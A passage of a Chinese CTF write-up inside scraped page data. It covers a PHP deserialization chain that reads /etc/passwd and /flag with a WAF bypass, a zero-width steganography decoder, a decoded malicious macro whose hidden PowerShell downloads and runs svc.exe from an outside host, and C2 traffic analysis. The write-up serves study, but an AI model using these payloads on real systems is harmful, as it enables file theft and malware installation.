if ($this->path && file_exists($this->path)) { return file_get_contents($this->path); } return \"[文件未找到]\"; } } class Welcome { public $user; public function __destruct() { echo \"\u003Cdiv class='bye-msg'>再见，\" . $this->user . \"！\u003C\u002Fdiv>\"; } } $demo = new Welcome(); $demo->user = new FileViewer(); $demo->user->path = \"\u002Fetc\u002Fpasswd\"; #这里可以改成你想要读取的文件路径 $export = serialize($demo); echo $export; ?> 可以读取文件了，但是过滤比较严格 看到还有一个类没用上 class Profile { public $name; public $bio; public function __wakeup() { if (strlen($this->name) > 30) { $this->name = substr($this->name, 0, 30); } if (strlen($this->bio) > 200) { $this->bio = substr($this->bio, 0, 200); } } } 可以帮助我们处理字符长度 但是题目逻辑是先进行过滤再反序列化 思考能不能直接绕过过滤，尝试在序列化字符串中加入\"破坏正则判断，同时搭配路径穿越 好消息是 \u002Fetc\u002F..\u002F1\"\u002F..\u002Fflag 确实没有触发waf 坏消息是回显文件未找到，同样的方法读取\u002Fetc\u002Fpasswd也是文件未找到 原理回头再研究 正确思路是 正则waf只匹配了小写x，放过了大写S 大写 S: 表示字符串中可用 \\xx（两位十六进制）转义字节 把 flag 的 f（0x66）写成 \\66，即 S:5:\"\u002F\\66lag\" 最终payload O:7:\"Welcome\":1:{s:4:\"user\";O:10:\"FileViewer\":1:{s:4:\"path\";S:5:\"\u002F\\66lag\";}} 好了，现在看看为什么路径穿越的方法不行 之前就在windows和linux上做过实验 其实是可以实现路径穿越的 唯一不同就是windows可以一个引号\u002F1\"\u002F..\u002F穿越 但linux必须要闭合引号才会执行\u002F1\"\"\u002F..\u002F 问下ai 你的 cd（逻辑） 服务器 file_get_contents（物理） 谁解析 .. bash 在字符串层面折叠 内核逐组件查目录 X\u002F.. 要求 X 存在吗 不要求（先折叠掉） 要求（查不到就 ENOENT） \" 去哪了 被 shell 吃掉，变 1 PHP 字符串里的真实字节，成文件名 原来这样吗 可惜linux默认没有文件名包含\"的文件，不然还能操作一下 此路不通 预言三问 得x=78 设置cookie=78 回显 预言家,现在的交流方法不太安全,改成一个安全的方式吧。而且你是知道女祭司和预言家是一对的,别忘用英语写在数据里哦。 抓包看看 没东西啊，难道说？ POST传参 priestess=prophet 提示要管理员等于一 再get传参?admin=1 拿到flag.... misc letter 全是200C和200B 脚本如下 data = open(r'E:\\firefox\\letter\\letter.txt', encoding='utf-8').read().rstrip('\\n') bits = ''.join('0' if c == '\\u200b' else '1' for c in data if c in '\\u200b\\u200c') print(''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8))) deploy-2 还原 docm 宏里混淆的 PowerShell 命令，得到下载 payload 的完整 URL。 下载了.docm文件，我们改后缀为.zip 查看.bin文件 D0 CF 11 E0 A1 B1 1A E1 VBA_Project_Payload_v1_GreyLynxAttribute VB_Name = \"Module1\" ' GreyLynx payroll update bootstrap ' NOTE: string below is encoded: base64(XOR 0x23(payload)) Sub AutoOpen() Dim enc As String enc = \"U0xURlFQS0ZPTwMOTUxTAw5UA0tKR0dGTQMOQAMBRkBLTAN4CX4DZFFGWm9aTVsDVlNHQldGA0FMTFdQV1FCUxgDSlRRA0tXV1MZDAxAR00NRFFGWk9KTVsOQExNUFZPV0pNRA1bWlkZGxMbEwxWU0dCV0YMUFVADUZbRgMObFZXZUpPRgMHRk1VGXdmbnN\u002FUFVADUZbRhgDUFdCUVcDB0ZNVRl3Zm5zf1BVQA1GW0YB\" Dim ps As String ps = DecodeXor(enc) Shell ps, vbHide End Sub Function DecodeXor(s As String) As String ' decode chain: Base64 decode, then XOR each byte with 0x23 DecodeXor = s End Function 简单加密 powershell -nop -w hidden -c \"echo [*] GreyLynx update bootstrap; iwr http:\u002F\u002Fcdn.greylinx-consulting.xyz:8080\u002Fupdate\u002Fsvc.exe -OutFile $env:TEMP\\svc.exe; start $env:TEMP\\svc.exe\" flag是cdn.greylinx-consulting.xyz:8080\u002Fupdate\u002Fsvc.exe不包括http: deploy-3 C2 服务器的 IP:端口。 wireshark打开 过滤流量 http.request.method == POST and http.request.uri contains \"gate.php\" 发现destination是203.0.113.45 其实这就是外联的c2服务器的ip 继续往下翻还有域名和端口 不过做的时候我是右键-FOLLOW-http stream 只拿到了域名和端口 然后去找dns的解析记录 dns.qry.name contains \"c2.greylinx-consulting.xyz\" 星辰科技 扫目录扫到robots.txt就好做了",14842,{"id":6,"kind":7,"title":11,"summary":13,"image":14,"href":16,"meta":18,"badge":10,"author":12,"stats":-1,"accent":36,"coverRatio":37,"tags":38},"#2563eb","16 \u002F 10",[7,8],{"targetType":8,"targetId":9,"likedByMe":40,"likeCount":41,"commentCount":41,"contentLikeCount":41,"contentCommentCount":41,"sourceLikeCount":41,"sourceCommentCount":41},false,0,[43,52,58,64,73,80,86,93],{"id":44,"kind":7,"title":45,"summary":46,"image":47,"href":48,"meta":49,"badge":10,"author":12,"stats":-1,"accent":36,"coverRatio":37,"tags":50},"NEWS_ARTICLE:927","HelloCrab - 短视频开源爬虫，仅供学习参考","HelloCrab 基于 Avalonia、Playwright、AI与 FFmpeg 的跨平台桌面采集器，支持9大平台，以及 Android、iOS、Browser 远程控制端。 Made By ChatGPT &amp; Vincent with ❤ 平台 是否接入 哔哩哔哩 ✅ 抖音 ✅ 快手","https:\u002F\u002Fwww.cnblogs.com\u002Fhupo376787\u002Fp\u002FScreenshot\u002FWindows.jpg","\u002Fnews\u002F927","2026 · 软件开发",[51],"软件开发",{"id":53,"kind":7,"title":54,"summary":55,"image":15,"href":56,"meta":49,"badge":10,"author":12,"stats":-1,"accent":36,"coverRatio":37,"tags":57},"NEWS_ARTICLE:929",".NET 异常处理的\"暗门\"：代码里写满 catch，你依然能抓住它——从一个 AI Agent 运行时的源码说起","一个健壮的系统，必然到处都是有意的 catch；异常被消化不等于问题不存在。 观测与韧性，是一个硬币的两面——降级逻辑保证系统不崩，FirstChance 保证你能看见它为什么降级。","\u002Fnews\u002F929",[51],{"id":59,"kind":7,"title":60,"summary":61,"image":15,"href":62,"meta":18,"badge":10,"author":12,"stats":-1,"accent":36,"coverRatio":37,"tags":63},"NEWS_ARTICLE:928","架构师化繁为简，执行者化简为繁","新手改三天，你改三行——反而是你显得更不重要。因为化繁为简做得越纯熟，产出看起来越小。这篇聊聊两种能力的辩证关系，以及为什么'看不见'的那部分工作，恰恰是最难的部分。","\u002Fnews\u002F928",[7,8],{"id":65,"kind":7,"title":66,"summary":67,"image":68,"href":69,"meta":70,"badge":10,"author":12,"stats":-1,"accent":36,"coverRatio":37,"tags":71},"NEWS_ARTICLE:930","基于 vLLM+Nginx 构建负载均衡推理集群","企业内部私有环境部署大模型推理集群时，很容易遇到流量调度混乱、节点负载失衡、会话上下文丢失、接口缺少鉴权防护等一系列问题，单 vLLM 推理节点难以支撑并发请求。本文基于 Ubuntu 22.04 系统环境，搭建 Nginx + vLLM-Semantic-Router + vLLM-Router","https:\u002F\u002Fimg2024.cnblogs.com\u002Fblog\u002F1379525\u002F202609\u002F1379525-20260910165534385-2022408098.png","\u002Fnews\u002F930","2026 · 人工智能",[72],"人工智能",{"id":74,"kind":7,"title":75,"summary":76,"image":77,"href":78,"meta":70,"badge":10,"author":12,"stats":-1,"accent":36,"coverRatio":37,"tags":79},"NEWS_ARTICLE:932","2026年AI编程工具大全，33个主流工具一次看懂","事情是这样的，前两天看到一张图，是某个社区官网的「支持的工具」清单，我数了数，整整31个AI编程工具。 两年前这份清单撑死5个，现在直接31个，而且我居然每一个都认识。。。 干脆整理成一篇，顺手把最近字节的TraeWork和豆包工作也补了进来，凑成33个。 今天给大家推荐一遍，每个工具说说它是干什么","https:\u002F\u002Fimage.kjdaohang.com\u002Fimg\u002F20260909210838518.png","\u002Fnews\u002F932",[72],{"id":81,"kind":7,"title":82,"summary":83,"image":15,"href":84,"meta":18,"badge":10,"author":12,"stats":-1,"accent":36,"coverRatio":37,"tags":85},"NEWS_ARTICLE:931","SH 中文化样例数据使用手册","在数据库演示与 PoC 场景中，Oracle 自带的 SH 示例模式虽然经典，但英文维度数据往往让国内演示效果打折扣。笔者整理了一套方案：保留 SH 标准英文对象名，同时装载中文化维度数据，并按参数生成可复现的销售历史数据，方便个人测试与概念验证。 01 | 环境准备 使用前请确认满足以下条件： O","\u002Fnews\u002F931",[7,8],{"id":87,"kind":7,"title":88,"summary":89,"image":90,"href":91,"meta":49,"badge":10,"author":12,"stats":-1,"accent":36,"coverRatio":37,"tags":92},"NEWS_ARTICLE:933","写给 C++ 工程师的 OpenClaw.NET 上手指南：用你熟悉的 C++ 思维，跑起一个生产级 AI Agent","它像一个「基于 boost.asio + REST 端点的常驻服务」——对外是 HTTP \u002F WebSocket \u002F 各 IM 的 webhook，对内跑着一个能调工具、读写记忆、跨渠道对话的 AI Agent——只不过协程不用你手写 promise_type，内存不用你管 new\u002Fdelete。","https:\u002F\u002Fimg2024.cnblogs.com\u002Fblog\u002F510\u002F202609\u002F510-20260905070811424-1837144874.jpg","\u002Fnews\u002F933",[51],{"id":94,"kind":7,"title":95,"summary":96,"image":97,"href":98,"meta":70,"badge":10,"author":12,"stats":-1,"accent":36,"coverRatio":37,"tags":99},"NEWS_ARTICLE:935","[Agent Memory \u002F 强化学习] MemPO源码学习笔记 ---（1）--- 总体","[Agent Memory \u002F 强化学习] MemPO源码学习笔记 （1） 总体 目录[Agent Memory \u002F 强化学习] MemPO源码学习笔记 （1） 总体0x00 概要0x01 基础 &amp; 背景1.1 用RL训练记忆系统的要点1.2 主要难点1.3 主要思路1.4 RL训练方案1.","https:\u002F\u002Fimg2024.cnblogs.com\u002Fblog\u002F1850883\u002F202609\u002F1850883-20260906190854637-986949885.jpg","\u002Fnews\u002F935",[72]]